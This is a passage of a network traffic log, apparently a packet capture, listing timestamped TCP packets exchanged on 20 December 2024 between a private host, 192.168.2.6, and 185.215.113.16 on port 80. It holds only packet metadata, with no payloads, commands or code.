Dec 20, 2024 17:17:49.338665009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338675976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338687897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338702917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.338706017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338713884 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.338730097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338741064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338751078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338761091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.338860035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.338881016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.392036915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392147064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392158985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392195940 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.392431974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392443895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392455101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392466068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.392467022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392484903 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.392842054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392854929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392873049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392884016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392887115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.392904043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.392906904 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.392940044 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.393425941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393436909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393449068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393477917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.393663883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393703938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.393729925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393742085 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393753052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393764973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393774986 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.393775940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393786907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.393815041 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.393825054 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.460922003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.460937023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.460978985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.460980892 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.461131096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461147070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461172104 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.461390972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461410046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461421967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461429119 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.461433887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461455107 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.461889982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461903095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.461927891 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.462265015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.462285995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.462297916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.462304115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.462307930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.462320089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.462332010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.462367058 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.462379932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.462821960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.462857962 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.463119984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463124037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463131905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463145971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463159084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463171959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463172913 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.463197947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.463211060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.463771105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463785887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463816881 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.463948011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463959932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463973999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.463992119 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.511147976 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.523989916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524015903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524028063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524074078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.524373055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524384975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524398088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524419069 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.524451971 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.524677038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524693012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524703979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524713993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524724960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.524743080 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.524768114 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.525074959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525115013 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.525185108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525203943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525213957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525230885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525235891 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.525243998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525255919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525266886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.525284052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.525969028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525981903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.525994062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.526006937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.526015997 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.526050091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.526477098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.526489019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.526499987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.526513100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.526524067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.526551008 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.526982069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.526993990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527004957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527017117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527029991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527031898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.527040958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527057886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.527081966 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.527746916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527759075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527776957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527787924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527796984 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.527800083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527822018 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.527836084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.527870893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.528562069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.528575897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.528585911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.528598070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.528611898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.528639078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.528944016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.528956890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.528969049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.528992891 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.529017925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529030085 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529041052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529057026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.529072046 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.529850006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529861927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529874086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529886007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529896975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529897928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.529908895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529920101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.529922962 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.529948950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.530653954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.530668020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.530690908 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.530704021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.530716896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.530728102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.530739069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.530742884 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.530750036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.530761957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.530792952 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.584287882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.584305048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.584319115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.584377050 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.584491968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.584513903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.584527016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.584534883 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.584542990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.584567070 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.585036039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585048914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585062027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585077047 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.585097075 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.585424900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585439920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585452080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585473061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585477114 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.585511923 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.585871935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585884094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585894108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585906029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585918903 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585927010 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.585932016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585941076 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.585943937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.585973978 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.586582899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.586622953 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.653249025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.653307915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.653322935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.653353930 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.653584957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.653599024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.653610945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.653623104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.653624058 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.653645039 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.654037952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654057980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654069901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654074907 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.654083967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654103994 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.654557943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654571056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654582977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654593945 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.654594898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654608011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.654618025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.654632092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.655236006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655257940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655271053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655293941 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.655584097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655622005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.655718088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655730963 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655741930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655755997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655761957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.655769110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655781984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.655787945 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.655814886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.656414986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.698647022 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.716156006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.716180086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.716191053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.716262102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.716487885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.716507912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.716520071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.716526031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.716551065 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.716941118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717047930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717061043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717071056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717086077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.717108011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.717293024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717303991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717315912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717328072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717339993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717353106 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.717377901 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.717859983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717871904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717883110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717895031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.717902899 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.717927933 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.718338966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718350887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718362093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718374014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718384981 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.718400002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.718888998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718900919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718911886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718921900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718926907 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.718935013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718946934 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.718949080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.718977928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.719687939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.719700098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.719712019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.719722986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.719728947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.719736099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.719748020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.719758034 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.719784975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.720446110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720459938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720469952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720483065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720485926 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.720515013 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.720902920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720915079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720927000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720937967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720937014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.720949888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720961094 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.720961094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.720983982 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.721764088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.721776962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.721787930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.721800089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.721810102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.721817970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.721822977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.721833944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.721843004 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.721859932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.722588062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.722600937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.722610950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.722624063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.722635031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:49.722634077 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:49.722649097 CET	80	49809	185.215.113.16	192.168.2.6
